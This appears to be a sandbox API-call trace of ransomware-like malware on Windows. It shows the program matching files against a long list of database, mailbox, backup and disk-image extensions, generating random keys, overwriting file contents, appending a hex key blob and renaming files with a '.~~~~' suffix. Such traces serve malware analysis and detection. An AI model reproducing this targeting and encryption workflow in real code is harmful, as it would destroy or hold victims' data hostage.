	[0082.312] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffdd2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.312] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x22d6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x22d6, lpOverlapped=0x0) returned 1
	[0082.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.314] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.314] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.314] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.314] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.314] CloseHandle (hObject=0x118) returned 1
	[0082.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4d38
	[0082.314] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.~~~~")) returned 1
	[0082.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4d38 | out: hHeap=0x300000) returned 1
	[0082.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.315] GetLastError () returned 0x0
	[0082.315] RtlWakeConditionVariable () returned 0x365f70
	[0082.315] GetCurrentThreadId () returned 0x9cc
	[0082.315] GetCurrentThreadId () returned 0x9cc
	[0082.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a43e0 | out: hHeap=0x300000) returned 1
	[0082.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38b0 | out: hHeap=0x300000) returned 1
	[0082.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0082.316] lstrlenW (lpString=".scr") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".scr") returned 0x0
	[0082.316] lstrlenW (lpString=".cmd") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".cmd") returned 0x0
	[0082.316] lstrlenW (lpString=".dll") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dll") returned 0x0
	[0082.316] lstrlenW (lpString=".bat") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".bat") returned 0x0
	[0082.316] lstrlenW (lpString=".cpl") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".cpl") returned 0x0
	[0082.316] lstrlenW (lpString=".sys") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".sys") returned 0x0
	[0082.316] lstrlenW (lpString=".msc") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".msc") returned 0x0
	[0082.316] lstrlenW (lpString=".com") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".com") returned 0x0
	[0082.316] lstrlenW (lpString=".lnk") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".lnk") returned 0x0
	[0082.316] lstrlenW (lpString=".msp") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".msp") returned 0x0
	[0082.316] lstrlenW (lpString=".pif") returned 4
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".pif") returned 0x0
	[0082.316] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0082.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0082.317] lstrlenW (lpString=".sqb") returned 4
	[0082.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".sqb") returned 0x0
	[0082.317] lstrlenW (lpString=".ost") returned 4
	[0082.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".ost") returned 0x0
	[0082.317] lstrlenW (lpString=".txt") returned 4
	[0082.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".txt") returned 0x0
	[0082.317] lstrlenW (lpString=".mdt") returned 4
	[0082.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".mdt") returned 0x0
	[0082.317] lstrlenW (lpString=".BDB") returned 4
	[0082.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".BDB") returned 0x0
	[0082.317] lstrlenW (lpString=".eql") returned 4
	[0082.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".eql") returned 0x0
	[0082.317] lstrlenW (lpString=".DBF") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DBF") returned 0x0
	[0082.318] lstrlenW (lpString=".EQL") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".EQL") returned 0x0
	[0082.318] lstrlenW (lpString=".FDB") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".FDB") returned 0x0
	[0082.318] lstrlenW (lpString=".EDB") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".EDB") returned 0x0
	[0082.318] lstrlenW (lpString=".DACPAC") returned 7
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DACPAC") returned 0x0
	[0082.318] lstrlenW (lpString=".VHD") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".VHD") returned 0x0
	[0082.318] lstrlenW (lpString=".DBV") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DBV") returned 0x0
	[0082.318] lstrlenW (lpString=".dacpac") returned 7
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dacpac") returned 0x0
	[0082.318] lstrlenW (lpString=".sdf") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".sdf") returned 0x0
	[0082.318] lstrlenW (lpString=".accdb") returned 6
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".accdb") returned 0x0
	[0082.318] lstrlenW (lpString=".DBX") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DBX") returned 0x0
	[0082.318] lstrlenW (lpString=".MDT") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".MDT") returned 0x0
	[0082.318] lstrlenW (lpString=".SQB") returned 4
	[0082.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".SQB") returned 0x0
	[0082.319] lstrlenW (lpString=".vhd") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".vhd") returned 0x0
	[0082.319] lstrlenW (lpString=".bac") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".bac") returned 0x0
	[0082.319] lstrlenW (lpString=".mdf") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".mdf") returned 0x0
	[0082.319] lstrlenW (lpString=".BAK") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".BAK") returned 0x0
	[0082.319] lstrlenW (lpString=".BAC") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".BAC") returned 0x0
	[0082.319] lstrlenW (lpString=".dbs") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dbs") returned 0x0
	[0082.319] lstrlenW (lpString=".vhdx") returned 5
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".vhdx") returned 0x0
	[0082.319] lstrlenW (lpString=".NDF") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".NDF") returned 0x0
	[0082.319] lstrlenW (lpString=".dat") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dat") returned 0x0
	[0082.319] lstrlenW (lpString=".DBS") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DBS") returned 0x0
	[0082.319] lstrlenW (lpString=".CKP") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".CKP") returned 0x0
	[0082.319] lstrlenW (lpString=".edb") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".edb") returned 0x0
	[0082.319] lstrlenW (lpString=".PST") returned 4
	[0082.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".PST") returned 0x0
	[0082.320] lstrlenW (lpString=".dbf") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dbf") returned 0x0
	[0082.320] lstrlenW (lpString=".SQL") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".SQL") returned 0x0
	[0082.320] lstrlenW (lpString=".pst") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".pst") returned 0x0
	[0082.320] lstrlenW (lpString=".dbv") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dbv") returned 0x0
	[0082.320] lstrlenW (lpString=".SDF") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".SDF") returned 0x0
	[0082.320] lstrlenW (lpString=".dtxs") returned 5
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dtxs") returned 0x0
	[0082.320] lstrlenW (lpString=".db3") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".db3") returned 0x0
	[0082.320] lstrlenW (lpString=".OST") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".OST") returned 0x0
	[0082.320] lstrlenW (lpString=".dbx") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dbx") returned 0x0
	[0082.320] lstrlenW (lpString=".DB3") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DB3") returned 0x0
	[0082.320] lstrlenW (lpString=".DAT") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DAT") returned 0x0
	[0082.320] lstrlenW (lpString=".VHDX") returned 5
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".VHDX") returned 0x0
	[0082.320] lstrlenW (lpString=".ndf") returned 4
	[0082.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".ndf") returned 0x0
	[0082.320] lstrlenW (lpString=".DB") returned 3
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DB") returned 0x0
	[0082.321] lstrlenW (lpString=".sql") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".sql") returned 0x0
	[0082.321] lstrlenW (lpString=".MYD") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".MYD") returned 0x0
	[0082.321] lstrlenW (lpString=".DBT") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DBT") returned 0x0
	[0082.321] lstrlenW (lpString=".ACCDB") returned 6
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".ACCDB") returned 0x0
	[0082.321] lstrlenW (lpString=".fdb") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".fdb") returned 0x0
	[0082.321] lstrlenW (lpString=".bak") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".bak") returned 0x0
	[0082.321] lstrlenW (lpString=".myd") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".myd") returned 0x0
	[0082.321] lstrlenW (lpString=".DTXS") returned 5
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".DTXS") returned 0x0
	[0082.321] lstrlenW (lpString=".ckp") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".ckp") returned 0x0
	[0082.321] lstrlenW (lpString=".dbt") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".dbt") returned 0x0
	[0082.321] lstrlenW (lpString=".db") returned 3
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".db") returned 0x0
	[0082.321] lstrlenW (lpString=".TXT") returned 4
	[0082.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".TXT") returned 0x0
	[0082.321] lstrlenW (lpString=".MDF") returned 4
	[0082.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".MDF") returned 0x0
	[0082.322] lstrlenW (lpString=".bdb") returned 4
	[0082.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".bdb") returned 0x0
	[0082.322] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.322] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.323] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.323] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0082.323] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20231320785) returned 1
	[0082.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ae8f370, dwHighDateTime=0x1d60e1e)) 
	[0082.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a38b0
	[0082.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38b0 | out: hHeap=0x300000) returned 1
	[0082.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0082.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a75f0
	[0082.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.324] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.324] GetLastError () returned 0x0
	[0082.324] GetLastError () returned 0x0
	[0082.324] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.324] GetLastError () returned 0x0
	[0082.324] GetLastError () returned 0x0
	[0082.324] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x734, lpOverlapped=0x0) returned 1
	[0082.329] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff8cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.329] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x734, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x734, lpOverlapped=0x0) returned 1
	[0082.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.329] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.329] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.329] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.329] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.329] CloseHandle (hObject=0x118) returned 1
	[0082.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4bc8
	[0082.330] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.~~~~")) returned 1
	[0082.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4bc8 | out: hHeap=0x300000) returned 1
	[0082.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.338] GetLastError () returned 0x0
	[0082.338] RtlWakeConditionVariable () returned 0x365f70
	[0082.338] GetCurrentThreadId () returned 0x9cc
	[0082.338] GetCurrentThreadId () returned 0x9cc
	[0082.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a48e8 | out: hHeap=0x300000) returned 1
	[0082.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3840 | out: hHeap=0x300000) returned 1
	[0082.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a48e8
	[0082.338] lstrlenW (lpString=".scr") returned 4
